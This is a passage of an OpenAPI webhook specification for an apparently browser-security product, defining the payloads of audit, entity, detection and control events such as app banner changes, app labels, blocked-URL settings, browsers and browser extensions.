                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example assigned licenses to employees
                object:
                  type: string
                  enum:
                    - APP_BANNER_CONFIGURED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: License assigned
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    title:
                      type: string
                      description: Title of the app banner.
                      example: This is a title
                    subtext:
                      type: string
                      description: Subtext of the app banner.
                      example: >-
                        This is the subtext that supports limited
                        [markdown](https://markdown.org)
                    mode:
                      $ref: '#/components/schemas/AppBannerModeType'
                    buttonText:
                      type: string
                      description: >-
                        Button text of the app banner. Only applicable when the
                        app banner is in `ACKNOWLEDGE` or `REASON` mode, or is
                        in `BLOCK` mode with `allowReasonSubmission` set to
                        true.
                      example: Proceed anyway
                      nullable: true
                    allowReasonSubmission:
                      type: boolean
                      description: >-
                        Whether the user is allowed to submit a request to
                        access a blocked page. Only applicable when the app
                        banner is in `BLOCK` mode.
                      example: false
                      nullable: true
                  required:
                    - title
                    - subtext
                    - mode
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  app-banner-enabled:
    post:
      deprecated: true
      summary: App banner enabled
      description: An app banner was enabled or disabled.
      operationId: app-banner-enabled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example assigned licenses to employees
                object:
                  type: string
                  enum:
                    - APP_BANNER_CONFIGURED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: License assigned
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    enabled:
                      type: boolean
                      description: Whether the app banner is enabled or disabled.
                      example: true
                  required:
                    - enabled
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  app-labels-added:
    post:
      summary: App labels added
      description: A set of labels has been added to one or more apps.
      operationId: app-labels-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com added labels to apps
                object:
                  type: string
                  enum:
                    - APP_LABELS_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: App labels added
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    labels:
                      type: array
                      items:
                        type: string
                      description: The list of labels added.
                    apps:
                      type: array
                      items:
                        type: string
                      description: The list of apps that the labels were added to.
                  required:
                    - labels
                    - apps
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  app-labels-removed:
    post:
      summary: App labels removed
      description: A set of labels has been removed from one or more apps.
      operationId: app-labels-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com removed labels from apps
                object:
                  type: string
                  enum:
                    - APP_LABELS_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: App labels removed
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    labels:
                      type: array
                      items:
                        type: string
                      description: The list of labels removed.
                    apps:
                      type: array
                      items:
                        type: string
                      description: The list of apps the labels were removed from.
                  required:
                    - labels
                    - apps
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  app-notes-updated:
    post:
      summary: App notes updated
      description: The notes of an app have been updated
      operationId: app-notes-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com updated the app notes
                object:
                  type: string
                  enum:
                    - APP_NOTES_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: App notes updated
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    appId:
                      type: string
                      description: The ID of the app.
                      example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
                    appType:
                      type: string
                      description: The name of the app.
                      example: ATLASSIAN
                    notes:
                      type: string
                      description: The notes of the app after the update.
                  required:
                    - appId
                    - appType
                    - notes
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  app-owner-id-updated:
    post:
      summary: App owner ID updated
      description: The owner ID of an app has been updated
      operationId: app-owner-id-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com updated the app owner ID
                object:
                  type: string
                  enum:
                    - APP_OWNER_ID_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: App owner ID updated
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    appId:
                      type: string
                      description: The ID of the app.
                      example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
                    appType:
                      type: string
                      description: The name of the app.
                      example: ATLASSIAN
                    ownerId:
                      type: string
                      description: The owner ID of the app after the update.
                  required:
                    - appId
                    - appType
                    - ownerId
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  app-sensitivity-level-updated:
    post:
      summary: App sensitivity level updated
      description: The sensitivity level of an app has been updated
      operationId: app-sensitivity-level-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com updated the app sensitivity level
                object:
                  type: string
                  enum:
                    - APP_SENSITIVITY_LEVEL_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: App sensitivity level updated
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    appId:
                      type: string
                      description: The ID of the app.
                      example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
                    appType:
                      type: string
                      description: The name of the app.
                      example: ATLASSIAN
                    sensitivityLevel:
                      type: string
                      description: The sensitivity level of the app after the update.
                      nullable: true
                  required:
                    - appId
                    - appType
                    - sensitivityLevel
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  apps_other:
    post:
      summary: App (Other)
      operationId: app-other-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: An app (Other) was created, updated or deleted.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                type:
                  type: string
                  enum:
                    - CREATE
                    - UPDATE
                    - DELETE
                  description: The type of event that occurred.
                category:
                  type: string
                  enum:
                    - ENTITY
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: app.pushsecurity.com first observed
                object:
                  type: string
                  enum:
                    - APP_OTHER
                  description: The object that was created, updated or deleted.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: App (Other)
                new:
                  $ref: '#/components/schemas/AppOther'
                  description: >-
                    The new state of the object. This is `null` when the event
                    type is `DELETE`.
                old:
                  $ref: '#/components/schemas/AppOther'
                  description: >-
                    The previous state of the object. This is `null` when the
                    event type is `CREATE`.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Entities
  auto-licensing-toggled:
    post:
      summary: Auto-licensing toggled
      description: An admin user has toggled the auto-licensing setting.
      operationId: auto-licensing-toggled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example toggled the auto-licensing setting to true
                object:
                  type: string
                  enum:
                    - AUTO_LICENSING_TOGGLED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Auto-licensing toggled
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that toggled the setting.
                new:
                  type: object
                  properties:
                    enabled:
                      type: boolean
                      description: Whether the auto-licensing setting is enabled or not.
                  required:
                    - enabled
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  automatic-unlicensing-configuration-updated:
    post:
      summary: Auto-unlicensing configuration updated
      description: An admin user updated the automatic unlicensing configuration.
      operationId: automatic-unlicensing-configuration-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >
                    The description of the event.


                    Note: this is subject to change and should not be used to
                    match on this object.
                  example: user@example.com enabled automatic unlicensing for 12 months
                object:
                  type: string
                  enum:
                    - AUTO_UNLICENSING_CONFIGURATION_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >
                    The friendly name of this object.


                    Note: this is subject to change and should not be used to
                    match on this object.
                  example: Automatic employee unlicensing configuration updated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the user that performed the action.
                new:
                  type: object
                  properties:
                    retentionPeriod:
                      type: object
                      description: >-
                        The retention period in months. This will be null if the
                        Auto-unlicensing feature is disabled.
                  required:
                    - retentionPeriod
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  blocked-url-detection:
    post:
      summary: Blocked URL detection
      operationId: blocked-url-detection-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: A blocked URL detection occurred.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - DETECTION
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com triggered a new blocked URL detection
                type:
                  type: string
                  enum:
                    - CREATE
                    - UPDATE
                    - DELETE
                  description: The type of event that occurred.
                object:
                  type: string
                  description: The object that was created.
                  example: BLOCKED_URL
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Blocked URL
                new:
                  $ref: '#/components/schemas/DetectionEvent'
                  description: The new state of the event details.
                old:
                  $ref: '#/components/schemas/DetectionEvent'
                  description: >-
                    The previous state of the event details. This is `null` when
                    the event type is `CREATE`.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Detections
  blocked-url-visited:
    post:
      summary: Blocked URL visited
      operationId: blocked-url-visited-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: A blocked URL was visited.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - CONTROL
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com attempted to visit https://blocked.com
                object:
                  type: string
                  enum:
                    - BLOCKED_URL_VISITED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Blocked URL visited
                new:
                  $ref: '#/components/schemas/BlockedURLVisitedEvent'
                  description: Blocked URL visited event details.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Controls
        - URL blocking
  blocked-urls-added:
    post:
      summary: Blocked URLs added
      description: A set of URLs has been added to the URL blocking configuration.
      operationId: blocked-urls-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com added new blocked URLs
                object:
                  type: string
                  enum:
                    - BLOCKED_URLS_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Blocked URLs added
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    urls:
                      type: array
                      items:
                        type: string
                      description: A list of the added URLs.
                  required:
                    - urls
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  blocked-urls-removed:
    post:
      summary: Blocked URLs removed
      description: A set of URLs has been removed from the URL blocking configuration.
      operationId: blocked-urls-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com removed blocked URLs
                object:
                  type: string
                  enum:
                    - BLOCKED_URLS_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Blocked URLs removed
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    urls:
                      type: array
                      items:
                        type: string
                      description: A list of the removed URLs.
                  required:
                    - urls
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  blocked-urls-url-schema-obfuscation-toggled:
    post:
      summary: Blocked URLs URL schema obfuscation toggled
      description: The URL schema obfuscation setting for blocked URLs has been toggled.
      operationId: blocked-urls-url-schema-obfuscation-toggled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example.com toggled the URL schema obfuscation setting
                    in the blocked URLs control
                object:
                  type: string
                  enum:
                    - BLOCKED_URLS_URL_SCHEMA_OBFUSCATION_TOGGLED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: URL schema obfuscation blocking setting toggled
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    url_schema_obfuscation:
                      type: boolean
                      description: The new value of the URL schema obfuscation setting.
                  required:
                    - url_schema_obfuscation
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  browser:
    post:
      summary: Browser
      operationId: browser-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: An employee browser was created, updated or deleted.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                type:
                  type: string
                  enum:
                    - CREATE
                    - UPDATE
                    - DELETE
                  description: The type of event that occurred.
                category:
                  type: string
                  enum:
                    - ENTITY
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: New browser for user@example.com
                object:
                  type: string
                  enum:
                    - BROWSER
                  description: The object that was created, updated or deleted.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Browser
                new:
                  $ref: '#/components/schemas/BrowserEvent'
                  description: >-
                    The new state of the object. This is `null` when the event
                    type is `DELETE`.
                old:
                  $ref: '#/components/schemas/BrowserEvent'
                  description: >-
                    The previous state of the object. This is `null` when the
                    event type is `CREATE`.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Entities
  browser-extension:
    post:
      summary: Browser Extension
      operationId: browser-extension-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: An employee browser extension was created, updated or deleted.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                type:
                  type: string
                  enum:
                    - CREATE
                    - UPDATE
                    - DELETE
                  description: The type of event that occurred.
                category:
                  type: string
                  enum:
                    - ENTITY
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Browser extension Privacy Badger installed
                object:
                  type: string
                  enum:
                    - BROWSER_EXTENSION
                  description: The object that was created, updated or deleted.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Browser extension
                new:
                  $ref: '#/components/schemas/BrowserExtensionEvent'
                  description: >-
                    The new state of the object. This is `null` when the event
                    type is `DELETE`.
                old:
                  $ref: '#/components/schemas/BrowserExtensionEvent'
                  description: >-
                    The previous state of the object. This is `null` when the
                    event type is `CREATE`.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Entities
  browser-extension-enumeration-toggled:
    post:
      summary: Browser extension enumeration toggled
      description: An admin user has enabled or disabled browser extension enumeration.
      operationId: browser-extension-enumeration-toggled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                object:
                  type: string
                  enum:
                    - BROWSER_EXTENSION_ENUMERATION_TOGGLED
                  description: The type of event.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Browser extension enumeration toggled
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example toggled browser extension enumeration to True
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    enabled:
                      type: boolean
                      description: >-
                        Whether the "Browser extension enumeration" setting is
                        enabled or not.
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - friendlyName
                - description
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  browser-extension-state-enforcement-event:
    post:
      summary: Browser extension blocked or enabled
      operationId: browser-extension-state-enforcement-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: A browser extension was blocked or force enabled for an employee.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - CONTROL
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example.com attempted to use Example Extension
                    (dljjddkmmcminffjbcmeccgfbjlhmhlm), but was blocked
